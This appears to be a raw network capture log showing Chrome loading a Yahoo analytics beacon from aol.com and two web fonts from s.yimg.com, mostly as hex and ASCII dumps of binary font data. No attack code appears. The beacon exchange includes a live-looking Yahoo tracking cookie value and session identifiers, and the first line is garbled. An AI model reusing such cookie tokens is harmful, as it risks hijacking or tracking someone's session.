E5aRl<(O_Ojf$R/fx%OpxC'c`\|pAb!$f[&/Ab7urp@4l318AEwkEj M^mUL15\|hUL%x<Bqk3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.6	50393	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	1594	OUT	POST /p?s=1197803361&t=9TZovxHwWycZ3rvd,0.3479559531757843&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.focus%04A_prets%031716503699%04A_prems%03149%04_E%03dwell%04_ts%031716503699%04_ms%03217%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:11 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:11 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.6	50394	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	583	OUT	GET /cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:11 UTC	815	IN	HTTP/1.1 200 OK x-amz-id-2: 9EKCSgdK1FT8DT3jIlEcNqjAexKpZwsl2zozsMDyy3PavAlsTAhEJAajOZUwBXDijX2R+VAS96M= x-amz-request-id: GE8Q8EJF5RF6F99H Date: Wed, 15 May 2024 10:50:47 GMT Last-Modified: Thu, 08 Dec 2022 13:23:00 GMT ETag: "0562f972a5e554c9ed60eb863e15f215" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 59804 Referrer-Policy: no-referrer-when-downgrade Age: 733465 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 e9 9c 00 12 00 00 00 01 fe e4 00 00 e9 30 00 03 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 3e 1b f3 6c 1c 9e 06 06 60 3f 53 54 41 54 5a 00 87 76 08 81 7c 09 9f 14 11 10 0a 85 a5 08 84 cc 14 01 36 02 24 03 a3 4e 0b 91 6a 00 04 20 05 8b 64 07 ce 6a 0c 85 1f 5b 48 c8 91 02 96 87 ed 79 40 b6 65 3a 6f db d4 8a 47 45 8c b1 1b 28 1e b6 13 18 bf ce 31 c3 df 23 d6 e6 80 a4 1a f1 f6 e9 c1 dd 2a 84 12 cd 1c d9 ff ff ff ff bf 21 a9 c8 58 25 1d a4 1d 30 71 02 0a 07 a8 9e ff 07 59 82 dc 72 44 44 18 11 59 d1 51 f6 0e e1 42 f6 1e 82 4b 2c 64 c9 10 69 08 2e 28 97 b1 5c 2b 7a b3 a8 35 e3 0d 9a 82 e6 5a eb 6d 29 f7 21 69 b0 64 2f f6 c3 f6 84 92 da 25 a9 25 eb 0c 99 92 a1 64 77 a3 60 a2 6c 6c 29 2b ad c6 43 98 45 3f Data Ascii: wOF20B>l`?STATZv\|6$Nj dj[Hy@e:oGE(1#*!X%0qYrDDYQBK,di.(\+z5Zm)!id/%%dw`ll)+CE?
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: f3 22 78 b5 1b 42 a8 0e 10 3a c0 a2 4c db 1e 10 54 57 74 0d 12 cf bf 7f a2 f6 c0 27 28 16 c0 ba 9f ca 4d f3 e6 05 fc 19 49 b3 25 8d cf 6c 80 83 d1 50 85 f3 d7 02 aa b7 c1 ff 7f d3 4a 3a f9 6d fc bd 3a a7 ee 22 c9 11 89 e0 9d c3 1d 32 82 a5 fa a3 8d aa 8d 6a a7 d2 38 f5 2c 77 ca bd e3 94 51 3b 05 64 02 6d 64 40 0c ff 8f ab be d9 ce bb 2c a9 84 a5 d2 aa ff 1f a3 c6 cb 79 af 58 7e 4e b1 25 6c 5d cd da 23 47 18 36 65 70 0e 84 1c 0b 12 a3 24 fe a7 a6 d9 8a 78 f8 7b 10 e2 8c 25 2e 7c 6a 77 73 9e 45 e7 74 29 59 a6 2a 13 e0 c3 f4 0a f8 d2 8c 49 e5 62 ee b3 4a bb 72 2e d8 15 93 bb 4c d5 a7 4a 1d 9e be bf 67 5c ed c1 c5 30 20 6a de a3 ee 04 cd 9f 2c 91 40 be ff ff 65 5a b9 8d c8 c8 40 06 40 24 86 60 91 65 da 02 63 c9 b1 c5 99 c5 06 40 8d 95 f3 db 91 76 d2 4a 5a 65 Data Ascii: "xB:LTWt'(MI%lPJ:m:"2j8,wQ;dmd@,yX~N%l]#G6ep$x{%.\|jwsEt)Y*IbJr.LJg\0 j,@eZ@@$`ec@vJZe
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 8b 9b 22 ff 5b 55 1e 78 ad 13 c1 00 52 4a 63 51 9e 63 2d 6c 44 a0 e6 11 5c 2f 88 58 18 00 c6 08 92 b7 38 19 9e a7 4e 00 c5 19 dc 0c 5f 08 44 00 78 14 3a 48 a3 0d 10 80 4c 00 05 68 c0 a0 b3 12 22 21 15 2e 0d d7 8a 21 4b 6d 8a 77 32 e4 43 69 e7 7a da 06 3c 39 39 a6 11 a0 16 45 de 7f e7 2d 50 80 98 0c fa 18 86 16 d0 40 16 ea 3a 8b ab 0e 6e c0 a5 ff ea 32 18 64 63 c1 98 06 16 b0 7d 39 c5 69 30 1f c5 af 8b 8e cf 13 5f b0 4d 14 d8 73 31 be 09 e0 18 36 c6 e5 c2 45 47 86 e4 86 85 0f 2e 01 4a 19 ff c1 20 86 5f 20 73 f9 4f ea 60 ea ac 73 fe b7 15 b2 7a d6 49 6b 9d fa 6c e4 92 41 a4 c9 0b eb 42 88 69 c2 d8 9e 99 d9 37 c3 b6 14 10 af a0 dd c9 9a bc 91 84 68 e6 6d 04 38 d7 06 27 07 e5 f0 ed 49 a1 e3 9c a8 31 58 7a 8b c8 76 72 85 37 9b d3 77 a8 d6 6c 98 4d dd a6 24 e2 Data Ascii: "[UxRJcQc-lD\/X8N_Dx:HLh"!.!Kmw2Ciz<99E-P@:n2dc}9i0_Ms16EG.J _ sO`szIklABi7hm8'I1Xzvr7wlM$
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 18 09 cc e5 93 4a 59 e4 53 29 78 aa 1d 88 1f 9f 51 cb e1 a9 c8 db 34 7f 51 fa bb bb bf df 3c 30 9f b0 4a db d3 1e 1d ef e4 48 17 ee 1a bd bf bb 31 b7 db 4b 5e e7 76 9f b5 d1 d7 ef e6 f6 d7 ed 07 7f 99 ca db b2 58 4a a6 17 50 5f 3a 18 f9 0d 6e fa 1e 10 9f b1 f4 e7 02 6c 79 d5 dc b4 7c 9b 15 b4 c2 89 59 89 21 7d e5 2c e4 83 00 d4 08 59 44 e1 2a a7 7a d5 17 d2 6a c3 0f 76 af fe af a8 3f af cb e3 0f d1 39 8b 1f 91 f5 75 9a 39 a9 0e 78 bb 3e 95 ef 4b d2 1b 98 f5 a7 c8 b1 4a 40 93 f5 30 09 24 b7 83 80 a7 dc 1e 5e 07 53 73 11 3f 53 85 c1 6e 08 13 0c 6f d8 9f 43 88 e4 38 92 19 5b 70 5c ac 86 cf 95 10 b8 81 26 ee a0 97 a9 85 c1 4c 30 c1 b3 2c f3 26 5c e6 fd 20 9f 05 73 bf c9 52 fe 77 32 3e d1 be 9e 3e dd 2e 00 8a 41 30 0b e9 8f d5 28 34 9a 00 0d 67 ea ff a4 e2 dc Data Ascii: JYS)xQ4Q<0JH1K^vXJP_:nly\|Y!},YD*zjv?9u9x>KJ@0$^Ss?SnoC8[p\&L0,&\ sRw2>>.A0(4g
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 36 be 63 01 78 98 63 bc 9d dd af 81 2c b0 0c 13 67 7e 40 24 5f ea 68 cc 6d 7b 29 ff a9 ef 44 49 a8 ea 2c a9 e4 c9 aa e3 fd 0b 94 21 b7 6a bb e6 ab 96 b0 19 5f 77 0e 18 56 75 dd a3 e3 88 13 3c d5 9c 6b 8d 2e 87 56 d5 1d 1c 34 2c 1d 23 d8 71 b8 17 9a 07 b7 a1 99 98 e6 59 61 d6 61 af 9c 35 34 25 99 76 58 ba 7b 6e c4 3d d5 1c 82 1a b0 ad 9a 1a d8 89 4b fc 70 bd 67 c4 46 ba 0b eb b9 d6 9b b6 b8 6c 2b a7 bb c0 de ce a2 2d 08 4a ec c3 b4 5f 81 35 ae da 9c 79 b0 39 c1 a7 65 eb c2 38 f5 d2 57 1f 9c c8 ec c4 3d e3 f7 f9 f5 d7 63 8c 60 e5 66 04 32 21 b8 3d 1b b0 48 7a cc 4b 8e d5 03 c5 02 ce d9 05 2f b9 e5 3b 34 a3 af c7 99 d3 06 8e c2 a1 2f 09 59 00 6a 54 d4 96 6f d6 5e df 57 c0 76 ac 59 f4 e0 b8 74 cf ba e1 d2 2f 83 e9 d0 29 2a f6 2e f8 1d ed 4b b0 ff eb c4 a0 6d Data Ascii: 6cxc,g~@$_hm{)DI,!j_wVu<k.V4,#qYaa54%vX{n=KpgFl+-J_5y9e8W=c`f2!=HzK/;4/YjTo^WvYt/)*.Km
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 17 5e 05 74 d6 86 a7 63 a2 b8 53 8a 19 57 e0 ea 71 c6 5e 61 a7 2d 1e c3 c8 c6 16 df 52 7c 4b 8e c0 10 bb 1e a0 a6 f0 71 df e2 ec a8 36 4a 9b 91 b1 b2 b7 79 dc 72 db 07 b9 00 58 bb c8 b5 02 d7 88 05 65 b8 80 eb 1a 9d b5 b3 33 8c 8d 9b 11 80 37 9e 78 04 69 5b 50 2b d5 c5 eb c5 3b 13 d6 e4 6c 4d 71 71 75 b1 74 4d 07 28 94 c6 44 8d f0 b6 c4 a6 e6 58 ef 52 06 1c a4 0d 6c 88 47 b6 00 8a 0a 56 56 b3 72 fd 4a 25 b5 5f 5e 81 57 a0 19 34 ef 93 d8 85 8d 0e 70 20 e2 41 bb 87 5d 29 20 d0 7f c9 55 ff 45 43 1a 52 39 f4 c0 8c 26 7a c2 13 c8 24 d3 6d f5 d9 74 9c 48 cc 47 8b ab 1f 7d fd 34 b7 39 08 94 85 15 4c 02 1a 92 35 ec 10 2a 9d 39 b2 81 c4 ce 79 c3 ed 89 2b 9e 6c a2 b6 71 92 3b cc ac e6 96 cd 47 17 aa 95 5c b5 92 7f 32 6b 03 c0 be 46 bd 27 57 0a 36 5b 0f 4e a4 61 6c Data Ascii: ^tcSWq^a-R\|Kq6JyrXe37xi[P+;lMqqutM(DXRlGVVrJ%_^W4p A]) UECR9&z$mtHG}49L5*9y+lq;G\2kF'W6[Nal
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 02 a4 b3 58 4b 5b 4f 16 7f 83 f7 2a 09 b5 04 a4 ab 76 53 4b 41 64 e5 8d 15 c3 c9 c3 31 56 85 11 62 da 53 d3 93 d6 b1 dc 75 e6 f2 f0 3b 5e f2 9b 28 c6 fa 8b 41 a9 42 b5 3a 17 77 9e a4 c0 e5 5e 45 b3 eb 95 8d a4 41 be 42 25 2a d0 d5 b4 bb f9 67 b3 ea ca 7e e0 99 b4 cd cf 1e 78 2e b0 f9 85 e6 17 9b 36 4d 7f 78 5b eb 69 65 f2 f5 5d dc 39 9d 7b 5f 5d ec 2a ef 9b 8b 5f 15 72 cf c2 53 b5 a0 70 11 22 45 41 89 16 03 2d 56 1c 02 d5 94 66 06 d0 19 4c d6 81 a2 77 33 5b 99 a4 72 79 7c 81 50 64 6e 61 09 f2 dc 4d e7 ee 49 fb 72 eb 5d 43 05 2b ac ac 6d 6c ed ec 1d 1c 41 b1 92 84 c6 60 86 32 9c 91 8c 66 2c e3 99 80 83 8d 6f e4 85 9c fc 50 42 4d 41 0a 53 14 5a 8a 53 9a b2 94 a7 2a d5 a9 49 6d ea 52 9f 86 0c a4 22 95 29 81 d4 2e 3a ce 87 70 48 28 34 8e c5 4e b2 25 a9 6b 52 Data Ascii: XK[OvSKAd1VbSu;^(AB:w^EAB%g~x.6Mx[ie]9{_]_rSp"EA-VfLw3[ry\|PdnaMIr]C+mlA`2f,oPBMASZSImR").:pH(4N%kR
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 24 69 32 94 51 49 13 34 45 9b 69 1e 35 d1 22 5a 46 38 4a 27 2a 95 51 25 d5 29 36 f8 02 ca 52 a4 b4 32 2a 51 cb 1a 4b 96 e4 3c 92 f3 eb 41 5d d3 52 87 7a bb 9e a5 cb 9c 8b bb da 6a 11 ff 90 7f d6 1b 27 8f 53 c7 19 63 d1 58 de 46 4f 26 fd 04 aa d3 71 d8 cc 2a 99 b3 b9 b2 b4 d5 b8 b6 ab fd 76 61 18 83 e5 6a 20 a2 74 b2 91 bc 6e 7a 4a 33 0f 46 5c 27 ab f4 ed e5 a4 a4 4a ad cc ca ee 26 60 d0 74 ee 07 13 36 93 17 d7 a5 c9 af 13 fe b9 51 38 0b 90 20 aa 56 d0 38 6b 24 0b 59 59 02 11 a9 b4 71 35 aa 53 8d ce 07 5a 68 65 e1 5d d8 58 c8 a6 8f b3 c6 62 98 49 db fa bf fa fb 3e e4 b1 7d d0 79 e6 78 ef 8d 1c b1 6b 61 94 76 3d 60 17 9a 68 cf 68 ad 77 c9 ad ef 4e 8b 05 80 09 bc 83 7f c0 41 de c8 ff a4 7f e2 3f e1 ff f9 f0 36 f2 77 22 27 5a 4a 69 c3 6b c3 fc df 63 47 ff dd Data Ascii: $i2QI4Ei5"ZF8J'Q%)6R2QK<A]Rzj'ScXFO&q*vaj tnzJ3F\'J&`t6Q8 V8k$YYq5SZhe]XbI>}yxkav=`hhwNA?6w"'ZJikcG
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 99 38 96 e4 ef a3 7a b1 7e 9c 5f 25 d9 3c c8 fc 09 9e d9 70 b5 ee 7b c8 5b 67 c4 50 28 83 ba d8 c9 c0 19 6d 94 f6 32 89 9d 1b e9 32 2f 9b 38 a6 a5 37 97 08 da 63 c6 ea 4a a4 10 56 12 79 9a f3 b8 c6 77 1f 4c b4 d1 ae 77 d1 d2 2c 4e cd c9 ce ae 37 80 e9 eb 0c 87 86 b8 be 84 b1 60 b0 e4 6d f1 41 11 6e 82 34 29 e4 8e ec 19 a5 de d5 ba 1e ff 94 dc 64 0c 4c 52 d8 9d 7d d2 07 af 49 6e 6e d8 83 99 4e 50 6b b3 71 98 99 46 76 62 c5 f2 63 e1 74 21 76 3b 06 e9 ae cc 81 6b a7 e0 67 2f 04 b4 8e 1c 9b b7 ce 4b b4 8e 86 85 90 eb 8f fa 52 1a 95 ae c7 a3 51 bb ca 24 38 cf 8c 81 ec 76 a2 91 95 f0 01 af ca 43 0a ad a0 de 37 1b 00 ba 1c e0 8c 16 a9 96 30 77 bc 8e 70 09 81 1b 08 d3 7f 61 b2 6c cd 4a 5c 21 09 4d b9 09 80 cd 96 f8 0a 0c 2a 9a 36 6d 61 ef b5 0d 60 84 d4 aa 15 c1 Data Ascii: 8z~_%<p{[gP(m22/87cJVywLw,N7`mAn4)dLR}InnNPkqFvbct!v;kg/KRQ$8vC70wpalJ\!M*6ma`
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 75 c9 61 79 14 91 ed 9c b0 b9 63 f1 87 ae cf 04 31 c2 13 88 12 ce 27 3d 8e 18 cb c0 98 c6 5d 7d cf 4f c6 68 76 43 95 b8 17 e1 e6 44 3d a2 16 eb 2f cf f0 80 20 59 56 e0 54 37 1e 01 5e 73 cc da 1f dc dd e1 09 9a c1 9a a3 0e a8 bb df 03 97 b5 b4 e6 6e fc 72 b1 30 44 f8 2d 5c 7e b5 01 ae 60 6e f1 6b 0f 15 9d 75 76 4b 81 f7 2e ef 5b c7 7b 1a 27 c4 88 f6 de 43 56 bd 32 fd 95 19 19 d6 18 72 49 c5 c8 7b b3 a6 84 92 8a 48 c5 57 81 7f 13 ba f5 d1 17 02 64 37 84 98 ed 6b 88 32 a1 5e 35 ff 3a f0 6d 42 8b f7 e1 4e 17 2d fd 96 30 6f 7f ae 5d ef e1 fd 69 4b 9d 43 e2 88 70 d8 ab 2d bf 9c 1a ae 24 e4 0b 21 38 b6 95 a9 9d ac a4 f8 94 f9 ee 76 20 9a d1 4e 48 80 80 bd 06 f5 de 42 53 7c e2 e0 b8 dd 69 ac 37 b6 5b 5a de 58 40 a3 23 ea 96 f8 c3 51 0f 52 2d b5 82 5a 83 bc 9d 94 Data Ascii: uayc1'=]}OhvCD=/ YVT7^snr0D-\~`nkuvK.[{'CV2rI{HWd7k2^5:mBN-0o]iKCp-$!8v NHBS\|i7[ZX@#QR-Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.6	50395	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	583	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Extrabold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:11 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: yk6FsWxcVFp3KV8/0bx8kyOD046phXavAHPfYQY2ScfJ50iIA5eGEXLJuukWXkjcP9PB5drqgLA= x-amz-request-id: ES0MSCDS7VCV4EDA Date: Sun, 24 Mar 2024 21:26:29 GMT Last-Modified: Wed, 25 Jan 2023 09:31:52 GMT ETag: "8892a5ea3278da84bd17d9188dd8f05d" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 50572 Referrer-Policy: no-referrer-when-downgrade Age: 5188124 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 c5 8c 00 0d 00 00 00 02 57 f8 00 00 c5 32 00 04 01 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 40 1b a7 4c 1c cc 78 06 60 00 85 52 0a 87 af 3c 86 89 20 01 36 02 24 03 a1 0a 0b 90 48 00 04 20 05 8b 3e 07 c5 15 5b ac fb 91 03 aa 63 dd e0 1c 38 6a 8c 7e 5b 95 07 18 b7 be 2f 27 70 72 7b 92 3b 7a 6e b6 43 51 c8 b2 3c 80 3b bb c2 d0 9b 15 34 cf 9f 7d 28 64 ff ff ff ff ff d9 c9 44 0e 4b ce 7a 49 53 05 30 6c d8 bf 50 8c ca dd 24 0b 25 b2 58 64 2b 6d 29 45 a2 7a 84 65 69 5b eb 22 22 ab d6 3b 7a a6 aa 84 bd 0c 78 84 3d 21 99 9e e1 a9 f9 dc 9c cd 1d 67 2e eb a6 6a 49 6e 7a d7 31 d4 2c be f7 53 55 25 62 96 58 55 ce e8 10 82 22 5e c0 29 43 a8 41 1f 60 a9 62 f2 ae a6 86 43 d9 87 e5 05 5e 20 09 49 38 7d f1 39 5e 7a ad Data Ascii: wOF2W2@Lx`R< 6$H >[c8j~[/'pr{;znCQ<;4}(dDKzIS0lP$%Xd+m)Ezei["";zx=!g.jInz1,SU%bXU"^)CA`bC^ I8}9^z
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 1c 0e ed a6 9a d6 16 84 2d f2 30 00 4f f0 ef 9b 77 64 ba 2a 95 56 c7 e9 4c f4 c6 07 d1 27 99 e0 8d b1 51 00 35 53 2a 18 23 dd 21 78 67 ec 54 55 57 d3 d3 dd 23 90 d0 f2 ce 99 30 fc 24 f8 34 3e f5 55 fb 6a 2d 93 dc 9c bb 62 db d2 86 08 f9 fd 11 e8 d9 94 ba e2 6e fe d5 69 ab 84 53 70 6a 9d ae a6 6e 19 a6 c4 d7 fb 5c df de 65 38 39 c2 e5 75 a5 94 8a 12 f3 0e 77 40 18 24 ec a7 2f 09 1e b2 30 a9 8d 9a 18 07 a7 a0 94 5a 97 1d 93 6e 3b b5 4d 37 8c 37 2c 59 c7 1b 96 f1 40 07 e7 9a 28 86 1d 28 8c f4 89 ed f6 b9 7c a5 bb ae bb 2e 80 18 f9 98 83 70 20 f9 d1 b9 3d 9d 34 e3 97 e8 50 58 2f 04 84 a0 20 fe 83 50 43 01 84 05 be 4e e4 cb 9b 61 17 f2 8f aa 8a 13 51 11 ab 3b ab ca 96 bd b8 72 74 ef 4e 53 14 45 a7 28 1a e3 38 46 11 42 08 21 8c 53 29 86 de e3 95 df ee c6 e4 d0 Data Ascii: -0OwdVL'Q5S#!xgTUW#0$4>Uj-bniSpjn\e89uw@$/0Zn;M77,Y@((\|.p =4PX/ PCNaQ;rtNSE(8FB!S)
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 60 0e 00 f4 06 77 76 8d f4 32 97 f5 0b ad aa 52 b9 7f 2b 85 49 6d 57 1c aa 39 aa b0 b7 6d 9e f3 5f 80 35 55 73 23 dd f1 d8 63 79 ea 59 0b ac 6a 01 3d 66 eb c2 a0 f8 15 1f 3c 7f 8f 17 ef d0 f5 97 fe ae c1 93 23 57 2b b3 f7 50 fe b4 ee 79 79 0f 5e c3 56 53 36 b4 29 de 4f 79 ea ef cd 0a 4c cd d1 02 35 35 9a 2e d8 9d de 0f c0 4e ed 29 24 3d 4d 9c c4 4a 85 16 0c f8 4f 9e 37 28 a8 43 83 8e 36 3a e8 62 80 11 16 d8 30 30 b3 73 70 da 29 56 bc 64 29 52 a5 c9 c2 52 a8 d8 07 1c 5c 7d fa 0d 1b 31 85 cf 1c f3 ac 08 86 50 10 06 22 48 51 43 4d f5 34 d6 44 33 ed 0c 11 23 4e bc 44 43 25 49 91 2a dd 30 19 86 cb 94 6d 8c 3c f9 66 58 60 a1 45 16 5b 62 a9 65 8a ad b0 ce 46 9b 94 d8 69 97 dd 8e 38 ea ac c7 5d f0 84 67 5d 74 d5 af f2 6c f2 97 5d 0e fa cf 79 97 5d 77 63 98 50 d0 Data Ascii: `wv2R+ImW9m_5Us#cyYj=f<#W+Pyy^VS6)OyL55.N)$=MJO7(C6:b00sp)Vd)RR\}1P"HQCM4D3#NDC%I*0m<fX`E[beFi8]g]tl]y]wcP
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 48 8b 5a 4c fd b3 78 f1 ff f5 83 e3 2a bf 19 fe 8a e9 9f ee d0 f1 3d b1 26 86 5c 19 0d 50 f5 9e 92 64 a4 ee 6e 9e dd db ad bc 96 06 a7 53 12 92 38 fb 4c 14 fc ad 94 90 4c 8a 1b 38 7f 3f 6a de 8f f1 1e 71 26 e2 41 5f ae 45 0b 80 c0 81 01 42 ce 65 36 35 3c 92 85 49 06 22 69 01 a0 a8 39 d0 24 a9 be 50 f3 c7 82 39 a4 48 90 ac 58 9d de a9 04 00 03 01 82 c8 b9 57 b5 61 8f ff 71 f4 3f 50 63 18 a6 12 8b b3 d6 e6 93 fe 4d 6a ec 6f da 3b a1 47 12 aa bb 86 af 1b 17 fd 72 3b 6e 47 05 95 33 6e f5 17 11 a3 c0 8c 92 0e 03 2d 3b 66 97 cd 56 c8 76 40 a8 d8 1c 8f c8 92 20 52 47 a9 12 c4 83 75 a6 f4 6a 55 82 25 c1 7f c4 22 b0 ab cb 82 b5 3b 05 27 95 61 c5 16 57 fc b4 58 0e 73 6e 3a 7a 39 bb e8 62 aa ef 0e b5 fd e3 8f e6 5d ea 0f 3f be 05 2a 0c 87 1d 0e 1e 08 b5 c6 bc e6 e2 Data Ascii: HZLx=&\PdnS8LL8?jq&A_EBe65<I"i9$P9HXWaq?PcMjo;Gr;nG3n-;fVv@ RGujU%";'aWXsn:z9b]?
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 6b b1 ce bb 39 ee 49 cf 78 d7 6e 97 d3 cf 20 93 ac a2 5f a1 d6 04 6d 72 c6 67 cc 54 b9 f2 cd 5c 73 c9 5f ae 25 6f 78 ac f1 dc 4f a2 d6 97 c6 a1 8a 3d 48 a2 8f 59 40 40 61 14 ff 1a b5 7a 67 22 68 a2 87 ad a3 72 bc 57 94 22 4b 14 63 25 7b 38 aa 6f ab 2d bb fc 0f 41 45 03 2d 0c 31 c1 14 0b ac e8 18 98 58 d9 dc 27 41 92 3c f9 0a 7d 50 e2 53 4e b4 37 e5 d4 66 cd ac 53 8b d7 12 44 1f 33 32 15 18 89 bf df 4e fb 6d d4 fc e5 85 d9 01 0d 06 3b 89 13 2f 43 b6 61 9e 9b f2 c8 11 7d 16 35 53 69 c4 b3 25 13 23 8c b1 a4 35 e6 d5 18 b9 29 8b de 7a 87 8d 3b 03 cc 17 c6 f4 03 a9 a9 62 01 44 c9 19 36 e4 50 a9 ad 88 e0 db 52 93 5e 02 dc 08 a0 c6 74 bb 3a 72 f0 62 ec ab c5 fa b5 d1 5e 23 7b e0 fe 21 6a 10 d0 78 49 79 31 f6 c2 ed 85 f3 0b 18 bf fc fc d6 f3 a8 e7 5e cf 15 9e c3 Data Ascii: k9Ixn _mrgT\s_%oxO=HY@@azg"hrW"Kc%{8o-AE-1X'A<}PSN7fSD32Nm;/Ca}5Si%#5)z;bD6PR^t:rb^#{!jxIy1^
